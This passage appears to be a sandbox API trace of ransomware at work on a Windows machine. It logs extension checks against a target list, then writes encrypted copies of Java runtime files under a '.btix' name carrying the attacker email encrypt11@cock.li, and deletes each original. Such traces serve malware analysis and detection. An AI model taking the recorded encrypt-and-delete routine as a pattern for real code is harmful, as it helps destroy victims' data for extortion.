lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0132.225] lstrlenW (lpString=".1cd") returned 4 [0132.225] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0132.225] lstrlenW (lpString=".jpg") returned 4 [0132.225] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0132.225] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0132.225] lstrlenW (lpString=".doc") returned 4 [0132.225] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.225] lstrlenW (lpString=".docx") returned 5 [0132.225] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0132.225] lstrlenW (lpString=".pdf") returned 4 [0132.225] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.225] lstrlenW (lpString=".xls") returned 4 [0132.225] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.225] lstrlenW (lpString=".xlsx") returned 5 [0132.225] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0132.226] lstrlenW (lpString=".ppt") returned 4 [0132.226] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0132.226] lstrlenW (lpString=".zip") returned 4 [0132.226] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.226] lstrlenW (lpString=".rar") returned 4 [0132.226] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.226] lstrlenW (lpString=".bz2") returned 4 [0132.226] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.226] lstrlenW (lpString=".7z") returned 3 [0132.226] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0132.226] lstrlenW (lpString=".dbf") returned 4 [0132.226] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0132.226] lstrlenW (lpString=".1cd") returned 4 [0132.226] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0132.226] lstrlenW (lpString=".jpg") returned 4 [0132.226] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.448] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0132.448] lstrlenW (lpString="hijrah-config-umalqura.properties") returned 33 [0132.448] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0132.449] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=13962) returned 1 [0132.449] CloseHandle (hObject=0x4c0) returned 1 [0132.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20 [0132.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.449] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0132.449] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.449] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.449] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0132.450] GetLastError () returned 0x0 [0132.450] ReadFile (in: hFile=0x4c0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x368a, lpOverlapped=0x0) returned 1 [0132.532] WriteFile (in: hFile=0x4d0, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x3690, lpOverlapped=0x0) returned 1 [0132.533] ReadFile (in: hFile=0x4c0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0132.533] WriteFile (in: hFile=0x4d0, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x116, lpOverlapped=0x0) returned 1 [0132.533] SetEndOfFile (hFile=0x4d0) returned 1 [0132.652] CloseHandle (hObject=0x4d0) returned 1 [0132.652] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.652] SetEndOfFile (hFile=0x4c0) returned 1 [0132.654] CloseHandle (hObject=0x4c0) returned 1 [0132.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0132.655] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 1 [0132.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0132.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0132.655] lstrlenW (lpString=".doc") returned 4 [0132.655] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0132.655] lstrlenW (lpString=".docx") returned 5 [0132.655] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0132.655] lstrlenW (lpString=".pdf") returned 4 [0132.655] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0132.655] lstrlenW (lpString=".xls") returned 4 [0132.656] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0132.656] lstrlenW (lpString=".xlsx") returned 5 [0132.656] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0132.656] lstrlenW (lpString=".ppt") returned 4 [0132.656] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0132.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0132.656] lstrlenW (lpString=".zip") returned 4 [0132.656] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0132.656] lstrlenW (lpString=".rar") returned 4 [0132.656] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0132.656] lstrlenW (lpString=".bz2") returned 4 [0132.656] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0132.656] lstrlenW (lpString=".7z") returned 3 [0132.656] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0132.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0132.656] lstrlenW (lpString=".dbf") returned 4 [0132.656] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0132.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0132.656] lstrlenW (lpString=".1cd") returned 4 [0132.656] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0132.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0132.656] lstrlenW (lpString=".jpg") returned 4 [0132.656] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0132.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0132.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0132.656] lstrlenW (lpString=".doc") returned 4 [0132.656] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0132.656] lstrlenW (lpString=".docx") returned 5 [0132.656] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0132.656] lstrlenW (lpString=".pdf") returned 4 [0132.657] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0132.657] lstrlenW (lpString=".xls") returned 4 [0132.657] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0132.657] lstrlenW (lpString=".xlsx") returned 5 [0132.657] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0132.657] lstrlenW (lpString=".ppt") returned 4 [0132.657] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0132.657] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0132.657] lstrlenW (lpString=".zip") returned 4 [0132.657] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0132.657] lstrlenW (lpString=".rar") returned 4 [0132.657] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0132.657] lstrlenW (lpString=".bz2") returned 4 [0132.657] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0132.657] lstrlenW (lpString=".7z") returned 3 [0132.657] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0132.657] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0132.657] lstrlenW (lpString=".dbf") returned 4 [0132.657] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0132.657] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0132.657] lstrlenW (lpString=".1cd") returned 4 [0132.657] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0132.657] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0132.657] lstrlenW (lpString=".jpg") returned 4 [0132.657] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0132.658] lstrcmpiW (lpString1=".jfc", lpString2=".btix") returned 1 [0132.658] lstrlenW (lpString="default.jfc") returned 11 [0132.658] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0132.658] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=20109) returned 1 [0132.658] CloseHandle (hObject=0x4c0) returned 1 [0132.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20 [0132.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.658] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0132.659] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.659] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.659] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0132.660] GetLastError () returned 0x0 [0132.660] ReadFile (in: hFile=0x4c0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x4e8d, lpOverlapped=0x0) returned 1 [0132.909] WriteFile (in: hFile=0x4d0, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x4e90, lpOverlapped=0x0) returned 1 [0132.911] ReadFile (in: hFile=0x4c0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0132.911] WriteFile (in: hFile=0x4d0, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xea, lpOverlapped=0x0) returned 1 [0132.911] SetEndOfFile (hFile=0x4d0) returned 1 [0132.911] CloseHandle (hObject=0x4d0) returned 1 [0132.911] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0132.911] SetEndOfFile (hFile=0x4c0) returned 1 [0133.084] CloseHandle (hObject=0x4c0) returned 1 [0133.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0133.087] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 1 [0133.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0133.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0133.088] lstrlenW (lpString=".doc") returned 4 [0133.088] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0133.088] lstrlenW (lpString=".docx") returned 5 [0133.088] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0133.088] lstrlenW (lpString=".pdf") returned 4 [0133.088] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0133.088] lstrlenW (lpString=".xls") returned 4 [0133.088] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0133.088] lstrlenW (lpString=".xlsx") returned 5 [0133.088] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0133.088] lstrlenW (lpString=".ppt") returned 4 [0133.088] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0133.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0133.088] lstrlenW (lpString=".zip") returned 4 [0133.088] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0133.088] lstrlenW (lpString=".rar") returned 4 [0133.088] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0133.088] lstrlenW (lpString=".bz2") returned 4 [0133.088] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0133.088] lstrlenW (lpString=".7z") returned 3 [0133.088] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0133.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0133.089] lstrlenW (lpString=".dbf") returned 4 [0133.089] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0133.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0133.089] lstrlenW (lpString=".1cd") returned 4 [0133.089] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0133.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0133.089] lstrlenW (lpString=".jpg") returned 4 [0133.089] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0133.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0133.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0133.089] lstrlenW (lpString=".doc") returned 4 [0133.089] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0133.089] lstrlenW (lpString=".docx") returned 5 [0133.089] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0133.089] lstrlenW (lpString=".pdf") returned 4 [0133.089] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0133.089] lstrlenW (lpString=".xls") returned 4 [0133.089] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0133.089] lstrlenW (lpString=".xlsx") returned 5 [0133.089] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0133.089] lstrlenW (lpString=".ppt") returned 4 [0133.089] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0133.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0133.089] lstrlenW (lpString=".zip") returned 4 [0133.089] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0133.089] lstrlenW (lpString=".rar") returned 4 [0133.090] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0133.090] lstrlenW (lpString=".bz2") returned 4 [0133.090] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0133.090] lstrlenW (lpString=".7z") returned 3 [0133.090] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0133.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0133.090] lstrlenW (lpString=".dbf") returned 4 [0133.090] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0133.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0133.090] lstrlenW (lpString=".1cd") returned 4 [0133.090] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0133.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0133.090] lstrlenW (lpString=".jpg") returned 4 [0133.090] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0133.090] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0133.090] lstrlenW (lpString="jfxswt.jar") returned 10 [0133.090] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0133.091] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=33932) returned 1 [0133.091] CloseHandle (hObject=0x4c0) returned 1 [0133.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20 [0133.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0133.091] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0133.092] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.092] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.092] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0133.092] GetLastError () returned 0x0 [0133.092] ReadFile (in: hFile=0x4c0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x848c, lpOverlapped=0x0) returned 1 [0133.362] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x8490, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x8490, lpOverlapped=0x0) returned 1 [0133.363] ReadFile (in: hFile=0x4c0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0133.364] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xe8, lpOverlapped=0x0) returned 1 [0133.364] SetEndOfFile (hFile=0x4b4) returned 1 [0133.364] CloseHandle (hObject=0x4b4) returned 1 [0133.364] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0133.364] SetEndOfFile (hFile=0x4c0) returned 1 [0133.366] CloseHandle (hObject=0x4c0) returned 1 [0133.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0133.371] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 1 [0133.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0133.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0133.372] lstrlenW (lpString=".doc") returned 4 [0133.372] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0133.372] lstrlenW (lpString=".docx") returned 5 [0133.372] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0133.372] lstrlenW (lpString=".pdf") returned 4 [0133.372] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0133.372] lstrlenW (lpString=".xls") returned 4 [0133.372] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0133.372] lstrlenW (lpString=".xlsx") returned 5 [0133.372] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0133.372] lstrlenW (lpString=".ppt") returned 4 [0133.372] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0133.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0133.372] lstrlenW (lpString=".zip") returned 4 [0133.372] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0133.372] lstrlenW (lpString=".rar") returned 4 [0133.372] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0133.372] lstrlenW (lpString=".bz2") returned 4 [0133.372] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0133.372] lstrlenW (lpString=".7z") returned 3 [0133.373] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0133.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0133.373] lstrlenW (lpString=".dbf") returned 4 [0133.373] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0133.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0133.373] lstrlenW (lpString=".1cd") returned 4 [0133.373] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0133.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0133.373] lstrlenW (lpString=".jpg") returned 4 [0133.373] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0133.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0133.373] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0133.373] lstrlenW (lpString=".doc") returned 4 [0133.373] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0133.373] lstrlenW (lpString=".docx") returned 5 [0133.373] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0133.373] lstrlenW (lpString=".pdf") returned 